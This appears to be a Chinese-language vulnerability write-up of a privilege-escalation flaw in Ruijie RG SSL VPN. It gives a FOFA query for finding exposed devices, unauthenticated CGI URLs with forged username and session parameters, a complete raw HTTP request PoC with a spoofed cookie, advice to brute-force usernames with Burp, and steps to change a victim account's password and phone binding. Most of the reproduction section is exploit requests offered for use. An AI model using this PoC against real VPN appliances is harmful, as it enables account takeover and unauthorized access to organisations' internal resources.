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70 lines
2.7 KiB
Markdown
70 lines
2.7 KiB
Markdown
# 锐捷RG SSL VPN 垂直越权漏洞
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**一、漏洞简介**
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Ruijie SSL VPN 存在越权访问漏洞，攻击者在已知用户名的情况下，可以对账号进行修改密码和绑定手机的操作。并在未授权的情况下查看服务器资源
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**二、影响版本**
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锐捷RG SSL VPN
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**三、资产测绘**
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fofa`icon_hash="884334722" || title="Ruijie SSL VPN"`
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●登录页面
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**四、漏洞复现**
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```plain
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/cgi-bin/main.cgi?oper=getrsc
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```
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直接访问，回显如下：
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随后访问如下，UserName 参数为已知用户名 在未知登录用户名的情况下 漏洞无法利用(根据请求包使用Burp进行用户名爆破)
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```plain
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/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=name&sid=1614345312&oper=showres
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```
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<font style="color:rgb(0, 0, 0);">查看服务器资源</font><font style="color:rgba(0, 0, 0, 0.9);">POC：</font>
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```plain
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GET /cgi-bin/main.cgi?oper=getrsc HTTP/1.1
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Host: 127.0.0.1
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Connection: close
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Pragma: no-cache
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Cache-Control: no-cache
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: none
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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Cookie: UserName=name; SessionId=1; FirstVist=1; Skin=1; tunnel=1
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```
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通过此方法知道用户名后可以通过漏洞修改账号参数，访问
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```plain
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/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=liuw&sid=1&oper=showres
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```
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点击个人设置跳转页面即可修改账号信息
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> 更新: 2024-06-24 11:42:25
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/tmgs3g967ixmiwam> |